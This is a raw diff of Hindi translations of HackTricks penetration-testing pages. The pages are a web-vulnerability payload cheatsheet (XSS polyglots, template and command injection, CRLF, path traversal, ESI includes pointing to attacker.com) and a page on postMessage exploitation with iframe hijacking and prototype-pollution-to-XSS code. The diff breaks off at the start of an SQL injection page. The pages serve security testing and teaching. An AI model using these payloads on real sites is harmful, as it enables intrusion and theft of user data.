> यह **cheatsheet प्रत्येक कमजोरी के लिए परीक्षणों की एक व्यापक सूची का प्रस्ताव नहीं करती है**, केवल कुछ बुनियादी। यदि आप अधिक व्यापक परीक्षणों की तलाश कर रहे हैं, तो प्रत्येक प्रस्तावित कमजोरी तक पहुँचें।
|
||||
> यह **cheatsheet प्रत्येक कमजोरी के लिए परीक्षणों की एक व्यापक सूची का प्रस्ताव नहीं करती है**, केवल कुछ बुनियादी। यदि आप अधिक व्यापक परीक्षणों की तलाश कर रहे हैं, तो प्रस्तावित प्रत्येक कमजोरी तक पहुँचें।
|
||||
|
||||
> [!CAUTION]
|
||||
> आप **Content-Type निर्भर इंजेक्शन जैसे XXE** नहीं पाएंगे, क्योंकि आमतौर पर आप उन्हें स्वयं आजमाएंगे यदि आप xml डेटा भेजने वाला अनुरोध पाते हैं। आप यहाँ **डेटाबेस इंजेक्शन** भी नहीं पाएंगे क्योंकि भले ही कुछ सामग्री परिलक्षित हो सकती है, यह बैकएंड DB प्रौद्योगिकी और संरचना पर बहुत निर्भर करता है।
|
||||
> आप **XXE जैसी सामग्री-प्रकार पर निर्भर इंजेक्शन नहीं पाएंगे**, क्योंकि आमतौर पर आप उन्हें स्वयं आजमाएंगे यदि आप xml डेटा भेजने वाला अनुरोध पाते हैं। आप यहाँ **डेटाबेस इंजेक्शन** भी नहीं पाएंगे क्योंकि भले ही कुछ सामग्री परिलक्षित हो सकती है, यह बैकएंड DB प्रौद्योगिकी और संरचना पर बहुत निर्भर करता है।
|
||||
|
||||
## Polygloths list
|
||||
```python
|
||||
@ -46,7 +46,7 @@ javascript:alert(1)
|
||||
javascript:alert()
|
||||
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
|
||||
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
|
||||
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
|
||||
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
|
||||
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
|
||||
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
|
||||
```
|
||||
@ -57,7 +57,7 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
|
||||
{{7*7}}
|
||||
[7*7]
|
||||
```
|
||||
### पॉलीग्लॉथ्स
|
||||
### Polygloths
|
||||
```bash
|
||||
{{7*7}}[7*7]
|
||||
```
|
||||
@ -74,7 +74,7 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
|
||||
`ls`
|
||||
$(ls)
|
||||
```
|
||||
### पॉलीग्लॉथ्स
|
||||
### Polygloths
|
||||
```bash
|
||||
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
||||
@ -88,15 +88,15 @@ $(ls)
|
||||
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
|
||||
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
|
||||
```
|
||||
## लटकते मार्कअप
|
||||
## Dangling Markup
|
||||
|
||||
### बुनियादी परीक्षण
|
||||
### Basic Tests
|
||||
```markup
|
||||
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
|
||||
```
|
||||
## [फाइल समावेश/पथTraversal](../file-inclusion/)
|
||||
## [File Inclusion/Path Traversal](../file-inclusion/index.html)
|
||||
|
||||
### बुनियादी परीक्षण
|
||||
### मूल परीक्षण
|
||||
```bash
|
||||
/etc/passwd
|
||||
../../../../../../etc/hosts
|
||||
@ -109,7 +109,7 @@ C:/windows/system32/drivers/etc/hosts
|
||||
http://asdasdasdasd.burpcollab.com/mal.php
|
||||
\\asdasdasdasd.burpcollab.com/mal.php
|
||||
```
|
||||
## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
|
||||
## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html)
|
||||
|
||||
### बुनियादी परीक्षण
|
||||
```bash
|
||||
@ -129,22 +129,22 @@ javascript:alert(1)
|
||||
```
|
||||
## [Server Side Inclusion/Edge Side Inclusion](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
|
||||
### बुनियादी परीक्षण
|
||||
### मूल परीक्षण
|
||||
```markup
|
||||
<!--#echo var="DATE_LOCAL" -->
|
||||
<!--#exec cmd="ls" -->
|
||||
<esi:include src=http://attacker.com/>
|
||||
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
||||
```
|
||||
### पॉलीग्लॉथ्स
|
||||
### Polygloths
|
||||
```markup
|
||||
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
||||
```
|
||||
## [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
|
||||
## [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html)
|
||||
|
||||
Open Redirect के लिए उपयोग किए गए समान परीक्षण यहाँ उपयोग किए जा सकते हैं।
|
||||
|
||||
## [Server Side Template Injection](../ssti-server-side-template-injection/)
|
||||
## [Server Side Template Injection](../ssti-server-side-template-injection/index.html)
|
||||
|
||||
### Basic Tests
|
||||
```markup
|
||||
@ -155,7 +155,7 @@ ${7*7}
|
||||
${{7*7}}
|
||||
#{7*7}
|
||||
```
|
||||
### पॉलीग्लॉथ्स
|
||||
### Polygloths
|
||||
```python
|
||||
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
|
||||
```
|
||||
@ -166,24 +166,24 @@ ${{7*7}}
|
||||
<xsl:value-of select="system-property('xsl:version')" />
|
||||
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
|
||||
```
|
||||
### पॉलीग्लॉथ्स
|
||||
### Polygloths
|
||||
```markup
|
||||
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
|
||||
```
|
||||
## XSS
|
||||
|
||||
### बुनियादी परीक्षण
|
||||
### मूल परीक्षण
|
||||
```markup
|
||||
" onclick=alert() a="
|
||||
'"><img src=x onerror=alert(1) />
|
||||
javascript:alert()
|
||||
```
|
||||
### पॉलीग्लॉथ्स
|
||||
### Polygloths
|
||||
```markup
|
||||
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
|
||||
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
|
||||
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
|
||||
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
|
||||
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
|
||||
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
|
||||
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
|
||||
javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*
|
||||
|
@ -1,4 +1,4 @@
|
||||
# वेब कमजोरियों की सूची
|
||||
# वेब वल्न्स सूची
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
```python
|
||||
@ -36,7 +36,7 @@ javascript:alert(1)
|
||||
javascript:alert()
|
||||
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
|
||||
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
|
||||
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
|
||||
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
|
||||
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
|
||||
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
|
||||
```
|
||||
|
@ -38,7 +38,7 @@ win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||||
|
||||
### Attacking iframe & wildcard in **targetOrigin**
|
||||
|
||||
जैसा कि [**इस रिपोर्ट**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) में बताया गया है, यदि आप एक पृष्ठ पाते हैं जिसे **iframed** किया जा सकता है (कोई `X-Frame-Header` सुरक्षा नहीं) और जो **संवेदनशील** संदेश को **postMessage** के माध्यम से **wildcard** (\*) का उपयोग करके भेज रहा है, तो आप **iframe** के **origin** को **संशोधित** कर सकते हैं और **संवेदनशील** संदेश को एक डोमेन पर लीक कर सकते हैं जिसे आप नियंत्रित करते हैं।\
|
||||
जैसा कि [**इस रिपोर्ट**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) में बताया गया है, यदि आप एक पृष्ठ पाते हैं जिसे **iframed** किया जा सकता है (कोई `X-Frame-Header` सुरक्षा नहीं) और जो **संवेदनशील** संदेश को **postMessage** के माध्यम से **wildcard** (\*) का उपयोग करके भेज रहा है, तो आप **iframe** के **origin** को **संशोधित** कर सकते हैं और **संवेदनशील** संदेश को एक डोमेन पर लीक कर सकते हैं जो आपके द्वारा नियंत्रित है।\
|
||||
ध्यान दें कि यदि पृष्ठ को iframed किया जा सकता है लेकिन **targetOrigin** **एक URL पर सेट है और wildcard पर नहीं**, तो यह **चाल काम नहीं करेगी**।
|
||||
```markup
|
||||
<html>
|
||||
@ -57,7 +57,7 @@ window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
|
||||
## addEventListener शोषण
|
||||
|
||||
**`addEventListener`** वह फ़ंक्शन है जिसका उपयोग JS द्वारा उस फ़ंक्शन को घोषित करने के लिए किया जाता है जो **`postMessages`** की **उम्मीद कर रहा है**।\
|
||||
इससे मिलती-जुलती कोड का उपयोग किया जाएगा:
|
||||
इससे मिलते-जुलते कोड का उपयोग किया जाएगा:
|
||||
```javascript
|
||||
window.addEventListener(
|
||||
"message",
|
||||
@ -76,11 +76,11 @@ false
|
||||
वर्तमान पृष्ठ में **इवेंट लिसनर्स** खोजने के लिए आप:
|
||||
|
||||
- **खोजें** JS कोड में `window.addEventListener` और `$(window).on` (_JQuery संस्करण_)
|
||||
- डेवलपर टूल्स कंसोल में **निष्पादित करें**: `getEventListeners(window)`
|
||||
- **निष्पादित करें** डेवलपर टूल्स कंसोल में: `getEventListeners(window)`
|
||||
|
||||
 (1).png>)
|
||||
|
||||
- ब्राउज़र के डेवलपर टूल्स में _Elements --> Event Listeners_ पर **जाएं**
|
||||
- डेवलपर टूल्स में _Elements --> Event Listeners_ पर **जाएं**
|
||||
|
||||
.png>)
|
||||
|
||||
@ -88,20 +88,20 @@ false
|
||||
|
||||
### उत्पत्ति जांच बायपास
|
||||
|
||||
- **`event.isTrusted`** विशेषता को सुरक्षित माना जाता है क्योंकि यह केवल उन घटनाओं के लिए `True` लौटाती है जो वास्तविक उपयोगकर्ता क्रियाओं द्वारा उत्पन्न होती हैं। हालांकि, यदि इसे सही तरीके से लागू किया जाए तो इसे बायपास करना चुनौतीपूर्ण है, इसकी सुरक्षा जांच में महत्व उल्लेखनीय है।
|
||||
- **`event.isTrusted`** विशेषता को सुरक्षित माना जाता है क्योंकि यह केवल उन घटनाओं के लिए `True` लौटाती है जो वास्तविक उपयोगकर्ता क्रियाओं द्वारा उत्पन्न होती हैं। हालांकि, यदि इसे सही तरीके से लागू किया जाए तो इसे बायपास करना चुनौतीपूर्ण है, इसकी सुरक्षा जांचों में महत्व उल्लेखनीय है।
|
||||
- PostMessage घटनाओं में उत्पत्ति सत्यापन के लिए **`indexOf()`** का उपयोग बायपास के लिए संवेदनशील हो सकता है। इस भेद्यता को दर्शाने वाला एक उदाहरण है:
|
||||
|
||||
```javascript
|
||||
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
|
||||
```
|
||||
|
||||
- `String.prototype.search()` से **`search()`** विधि नियमित अभिव्यक्तियों के लिए है, न कि स्ट्रिंग्स के लिए। किसी भी चीज़ को regexp के अलावा पास करने से regex में निहित परिवर्तन होता है, जिससे यह विधि संभावित रूप से असुरक्षित हो जाती है। इसका कारण यह है कि regex में, एक बिंदु (.) एक वाइल्डकार्ड के रूप में कार्य करता है, जिससे विशेष रूप से तैयार किए गए डोमेन के साथ सत्यापन को बायपास करना संभव हो जाता है। उदाहरण के लिए:
|
||||
- `String.prototype.search()` से **`search()`** विधि नियमित अभिव्यक्तियों के लिए है, न कि स्ट्रिंग्स के लिए। नियमित अभिव्यक्ति के अलावा कुछ भी पास करने से नियमित अभिव्यक्ति में निहित परिवर्तन होता है, जिससे यह विधि संभावित रूप से असुरक्षित हो जाती है। इसका कारण यह है कि नियमित अभिव्यक्ति में, एक बिंदु (.) एक वाइल्डकार्ड के रूप में कार्य करता है, जिससे विशेष रूप से तैयार किए गए डोमेन के साथ सत्यापन को बायपास करना संभव हो जाता है। उदाहरण के लिए:
|
||||
|
||||
```javascript
|
||||
"https://www.safedomain.com".search("www.s.fedomain.com")
|
||||
```
|
||||
|
||||
- **`match()`** फ़ंक्शन, `search()` के समान, regex को संसाधित करता है। यदि regex ठीक से संरचित नहीं है, तो यह बायपास के लिए संवेदनशील हो सकता है।
|
||||
- **`match()`** फ़ंक्शन, `search()` के समान, नियमित अभिव्यक्तियों को संसाधित करता है। यदि नियमित अभिव्यक्ति ठीक से संरचित नहीं है, तो यह बायपास के लिए संवेदनशील हो सकता है।
|
||||
- **`escapeHtml`** फ़ंक्शन का उद्देश्य इनपुट को स्वच्छ करना है। हालाँकि, यह एक नयाescaped ऑब्जेक्ट नहीं बनाता है बल्कि मौजूदा ऑब्जेक्ट की प्रॉपर्टीज़ को ओवरराइट करता है। इस व्यवहार का शोषण किया जा सकता है। विशेष रूप से, यदि एक ऑब्जेक्ट को इस तरह से हेरफेर किया जा सकता है कि इसकी नियंत्रित प्रॉपर्टी `hasOwnProperty` को मान्यता नहीं देती है, तो `escapeHtml` अपेक्षित रूप से कार्य नहीं करेगा। यह नीचे दिए गए उदाहरणों में प्रदर्शित किया गया है:
|
||||
|
||||
- अपेक्षित विफलता:
|
||||
@ -113,24 +113,24 @@ message: "'\"<b>\\",
|
||||
result.message // "'"<b>\"
|
||||
```
|
||||
|
||||
- बायपासिंग द एस्केप:
|
||||
- बायपास करना:
|
||||
|
||||
```javascript
|
||||
result = u(new Error("'\"<b>\\"))
|
||||
result.message // "'"<b>\"
|
||||
```
|
||||
|
||||
इस भेद्यता के संदर्भ में, `File` ऑब्जेक्ट विशेष रूप से शोषण योग्य है क्योंकि इसका पढ़ने योग्य `name` प्रॉपर्टी है। इस प्रॉपर्टी का उपयोग टेम्पलेट्स में किया जाता है, जो `escapeHtml` फ़ंक्शन द्वारा स्वच्छ नहीं किया जाता है, जिससे संभावित सुरक्षा जोखिम उत्पन्न होते हैं।
|
||||
इस भेद्यता के संदर्भ में, `File` ऑब्जेक्ट विशेष रूप से शोषण योग्य है क्योंकि इसकी पढ़ने योग्य `name` प्रॉपर्टी है। इस प्रॉपर्टी का उपयोग टेम्पलेट्स में किया जाता है, जो `escapeHtml` फ़ंक्शन द्वारा स्वच्छ नहीं किया जाता है, जिससे संभावित सुरक्षा जोखिम उत्पन्न होते हैं।
|
||||
|
||||
- JavaScript में `document.domain` प्रॉपर्टी को एक स्क्रिप्ट द्वारा डोमेन को छोटा करने के लिए सेट किया जा सकता है, जिससे समान मूल नीति प्रवर्तन में अधिक लचीला होता है।
|
||||
- JavaScript में `document.domain` प्रॉपर्टी को एक स्क्रिप्ट द्वारा डोमेन को छोटा करने के लिए सेट किया जा सकता है, जिससे समान मूल नीति प्रवर्तन में अधिक ढील दी जा सके।
|
||||
|
||||
### e.origin == window.origin बायपास
|
||||
|
||||
जब %%%%%% का उपयोग करके एक **सैंडबॉक्स्ड iframe** के भीतर एक वेब पृष्ठ को एम्बेड करते हैं, तो यह समझना महत्वपूर्ण है कि iframe की उत्पत्ति `null` पर सेट की जाएगी। यह विशेष रूप से **सैंडबॉक्स विशेषताओं** और उनकी सुरक्षा और कार्यक्षमता पर प्रभावों के साथ काम करते समय महत्वपूर्ण है।
|
||||
जब %%%%%% का उपयोग करके एक **सैंडबॉक्स्ड iframe** के भीतर एक वेब पृष्ठ को एम्बेड किया जाता है, तो यह समझना महत्वपूर्ण है कि iframe की उत्पत्ति `null` पर सेट की जाएगी। यह विशेष रूप से **सैंडबॉक्स विशेषताओं** और उनकी सुरक्षा और कार्यक्षमता पर प्रभावों के साथ काम करते समय महत्वपूर्ण है।
|
||||
|
||||
सैंडबॉक्स विशेषता में **`allow-popups`** निर्दिष्ट करने से, iframe के भीतर से खोला गया कोई भी पॉपअप विंडो अपने माता-पिता की सैंडबॉक्स प्रतिबंधों को विरासत में लेता है। इसका मतलब है कि जब तक **`allow-popups-to-escape-sandbox`** विशेषता भी शामिल नहीं की जाती, पॉपअप विंडो की उत्पत्ति भी `null` पर सेट होती है, जो iframe की उत्पत्ति के साथ मेल खाती है।
|
||||
|
||||
इसलिए, जब इन परिस्थितियों के तहत एक पॉपअप खोला जाता है और iframe से पॉपअप में **`postMessage`** का उपयोग करके एक संदेश भेजा जाता है, तो भेजने और प्राप्त करने वाले दोनों के अंत `null` पर सेट होते हैं। यह स्थिति एक परिदृश्य की ओर ले जाती है जहां **`e.origin == window.origin`** सत्यापित होता है (`null == null`), क्योंकि iframe और पॉपअप दोनों का उत्पत्ति मान `null` है।
|
||||
इसलिए, जब इन परिस्थितियों के तहत एक पॉपअप खोला जाता है और iframe से पॉपअप में **`postMessage`** का उपयोग करके एक संदेश भेजा जाता है, तो भेजने और प्राप्त करने वाले दोनों पक्षों की उत्पत्ति `null` पर सेट होती है। यह स्थिति एक परिदृश्य की ओर ले जाती है जहां **`e.origin == window.origin`** सत्यापित होता है (`null == null`), क्योंकि iframe और पॉपअप दोनों का उत्पत्ति मान `null` है।
|
||||
|
||||
अधिक जानकारी के लिए **पढ़ें**:
|
||||
|
||||
@ -147,7 +147,7 @@ if (received_message.source !== window) {
|
||||
return
|
||||
}
|
||||
```
|
||||
आप **`e.source`** को null करने के लिए एक **iframe** बना सकते हैं जो **postMessage** भेजता है और **तुरंत हटा दिया जाता है**।
|
||||
आप **`e.source`** को null करने के लिए एक **iframe** बना सकते हैं जो **postMessage** भेजता है और जिसे **तुरंत हटा दिया जाता है**।
|
||||
|
||||
अधिक जानकारी के लिए **पढ़ें:**
|
||||
|
||||
@ -158,7 +158,7 @@ bypassing-sop-with-iframes-2.md
|
||||
### X-Frame-Header बायपास
|
||||
|
||||
इन हमलों को करने के लिए, आदर्श रूप से आप **पीड़ित वेब पृष्ठ** को एक `iframe` के अंदर रख पाएंगे। लेकिन कुछ हेडर जैसे `X-Frame-Header` उस **व्यवहार** को **रोक** सकते हैं।\
|
||||
उन परिदृश्यों में, आप अभी भी एक कम छिपे हुए हमले का उपयोग कर सकते हैं। आप कमजोर वेब एप्लिकेशन के लिए एक नया टैब खोल सकते हैं और इसके साथ संवाद कर सकते हैं:
|
||||
ऐसे परिदृश्यों में, आप अभी भी एक कम छिपे हुए हमले का उपयोग कर सकते हैं। आप कमजोर वेब एप्लिकेशन के लिए एक नया टैब खोल सकते हैं और इसके साथ संवाद कर सकते हैं:
|
||||
```markup
|
||||
<script>
|
||||
var w=window.open("<url>")
|
||||
@ -167,7 +167,7 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
|
||||
```
|
||||
### बच्चे को भेजे गए संदेश को मुख्य पृष्ठ को ब्लॉक करके चुराना
|
||||
|
||||
निम्नलिखित पृष्ठ में आप देख सकते हैं कि आप कैसे **संवेदनशील postmessage डेटा** को **बच्चे के iframe** में चुरा सकते हैं, मुख्य पृष्ठ को डेटा भेजने से पहले **ब्लॉक** करके और बच्चे में **XSS** का दुरुपयोग करके डेटा को **लीक** करने से पहले:
|
||||
निम्नलिखित पृष्ठ में आप देख सकते हैं कि आप कैसे **संवेदनशील postmessage डेटा** को **बच्चे के iframe** में चुरा सकते हैं, मुख्य पृष्ठ को डेटा भेजने से पहले **ब्लॉक** करके और बच्चे में **XSS का दुरुपयोग** करके डेटा को रिसीव होने से पहले **लीक** कर सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
blocking-main-page-to-steal-postmessage.md
|
||||
@ -175,7 +175,7 @@ blocking-main-page-to-steal-postmessage.md
|
||||
|
||||
### iframe स्थान को संशोधित करके संदेश चुराना
|
||||
|
||||
यदि आप बिना X-Frame-Header के एक वेबपृष्ठ को iframe कर सकते हैं जिसमें एक और iframe है, तो आप उस बच्चे के iframe का **स्थान बदल** सकते हैं, इसलिए यदि यह एक **postmessage** प्राप्त कर रहा है जो **wildcard** का उपयोग करके भेजा गया है, तो एक हमलावर उस iframe का **origin** एक पृष्ठ में **बदल** सकता है जो उसके द्वारा **नियंत्रित** है और संदेश को **चुरा** सकता है:
|
||||
यदि आप बिना X-Frame-Header के एक वेबपृष्ठ को iframe कर सकते हैं जिसमें एक और iframe है, तो आप उस बच्चे के iframe का **स्थान बदल सकते हैं**, इसलिए यदि यह एक **postmessage** प्राप्त कर रहा है जो **wildcard** का उपयोग करके भेजा गया है, तो एक हमलावर उस iframe का **origin** एक पृष्ठ में **बदल सकता है** जो उसके द्वारा **नियंत्रित** है और संदेश को **चुरा सकता है**:
|
||||
|
||||
{{#ref}}
|
||||
steal-postmessage-modifying-iframe-location.md
|
||||
@ -187,7 +187,7 @@ steal-postmessage-modifying-iframe-location.md
|
||||
|
||||
कुछ **बहुत अच्छे तरीके से समझाए गए XSS `postMessage` के माध्यम से** [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html) में पाए जा सकते हैं।
|
||||
|
||||
एक **प्रोटोटाइप प्रदूषण और फिर XSS** के दुरुपयोग के लिए `postMessage` के माध्यम से `iframe` में एक उदाहरण:
|
||||
एक उदाहरण एक **प्रोटोटाइप प्रदूषण और फिर XSS** का दुरुपयोग करने के लिए `postMessage` के माध्यम से एक `iframe` में:
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
@ -214,8 +214,8 @@ setTimeout(get_code, 2000)
|
||||
```
|
||||
अधिक जानकारी के लिए:
|
||||
|
||||
- [**प्रोटोटाइप प्रदूषण**](../deserialization/nodejs-proto-prototype-pollution/) के बारे में पृष्ठ का लिंक
|
||||
- [**XSS**](../xss-cross-site-scripting/) के बारे में पृष्ठ का लिंक
|
||||
- [**प्रोटोटाइप प्रदूषण**](../deserialization/nodejs-proto-prototype-pollution/index.html) के बारे में पृष्ठ का लिंक
|
||||
- [**XSS**](../xss-cross-site-scripting/index.html) के बारे में पृष्ठ का लिंक
|
||||
- [**क्लाइंट साइड प्रोटोटाइप प्रदूषण से XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss) के बारे में पृष्ठ का लिंक
|
||||
|
||||
## संदर्भ
|
||||
|
@ -4,11 +4,11 @@
|
||||
|
||||
## SQL इंजेक्शन क्या है?
|
||||
|
||||
एक **SQL इंजेक्शन** एक सुरक्षा दोष है जो हमलावरों को एक एप्लिकेशन के **डेटाबेस क्वेरीज़ में हस्तक्षेप** करने की अनुमति देता है। यह कमजोरियां हमलावरों को **देखने**, **संशोधित करने** या **हटाने** की अनुमति दे सकती हैं, जो उन्हें एक्सेस नहीं करनी चाहिए, जिसमें अन्य उपयोगकर्ताओं की जानकारी या कोई भी डेटा शामिल है जिसे एप्लिकेशन एक्सेस कर सकता है। ऐसे कार्य एप्लिकेशन की कार्यक्षमता या सामग्री में स्थायी परिवर्तन का परिणाम बन सकते हैं या यहां तक कि सर्वर का समझौता या सेवा का इनकार भी कर सकते हैं।
|
||||
एक **SQL इंजेक्शन** एक सुरक्षा दोष है जो हमलावरों को एक एप्लिकेशन के डेटाबेस क्वेरीज़ के साथ **हस्तक्षेप** करने की अनुमति देता है। यह भेद्यता हमलावरों को **देखने**, **संशोधित करने** या **हटाने** की अनुमति दे सकती है, जो उन्हें एक्सेस नहीं करना चाहिए, जिसमें अन्य उपयोगकर्ताओं की जानकारी या कोई भी डेटा शामिल है जिसे एप्लिकेशन एक्सेस कर सकता है। ऐसे कार्य एप्लिकेशन की कार्यक्षमता या सामग्री में स्थायी परिवर्तन का परिणाम बन सकते हैं या यहां तक कि सर्वर का समझौता या सेवा का इनकार भी कर सकते हैं।
|
||||
|
||||
## प्रवेश बिंदु पहचान
|
||||
|
||||
जब एक साइट **SQL इंजेक्शन (SQLi)** के लिए **कमजोर** प्रतीत होती है, जो SQLi-संबंधित इनपुट के प्रति असामान्य सर्वर प्रतिक्रियाओं के कारण होती है, तो **पहला कदम** यह समझना है कि **क्वेरी में डेटा को बिना बाधित किए कैसे इंजेक्ट करें**। इसके लिए वर्तमान संदर्भ से **प्रभावी ढंग से बचने** की विधि की पहचान करना आवश्यक है। ये कुछ उपयोगी उदाहरण हैं:
|
||||
जब एक साइट **SQL इंजेक्शन (SQLi)** के लिए **भेद्य** प्रतीत होती है, जो SQLi-संबंधित इनपुट के प्रति असामान्य सर्वर प्रतिक्रियाओं के कारण होती है, तो **पहला कदम** यह समझना है कि **क्वेरी में डेटा को बिना बाधित किए कैसे इंजेक्ट करें**। इसके लिए वर्तमान संदर्भ से **भागने** के तरीके की पहचान करना आवश्यक है। ये कुछ उपयोगी उदाहरण हैं:
|
||||
```
|
||||
[Nothing]
|
||||
'
|
||||
@ -23,7 +23,7 @@
|
||||
```
|
||||
फिर, आपको यह जानने की आवश्यकता है कि **क्वेरी को कैसे ठीक करें ताकि कोई त्रुटियाँ न हों**। क्वेरी को ठीक करने के लिए, आप **डेटा इनपुट** कर सकते हैं ताकि **पिछली क्वेरी नए डेटा को स्वीकार कर सके**, या आप बस **अपना डेटा इनपुट** कर सकते हैं और **अंत में एक टिप्पणी प्रतीक जोड़ सकते हैं**।
|
||||
|
||||
_ध्यान दें कि यदि आप त्रुटि संदेश देख सकते हैं या जब क्वेरी काम कर रही है और जब नहीं कर रही है, तो आप अंतर देख सकते हैं, तो यह चरण अधिक आसान होगा।_
|
||||
_ध्यान दें कि यदि आप त्रुटि संदेश देख सकते हैं या जब क्वेरी काम कर रही है और जब नहीं, तब आप अंतर देख सकते हैं, तो यह चरण अधिक आसान होगा।_
|
||||
|
||||
### **टिप्पणियाँ**
|
||||
```sql
|
||||
@ -53,24 +53,24 @@ HQL does not support comments
|
||||
```
|
||||
### Confirming with logical operations
|
||||
|
||||
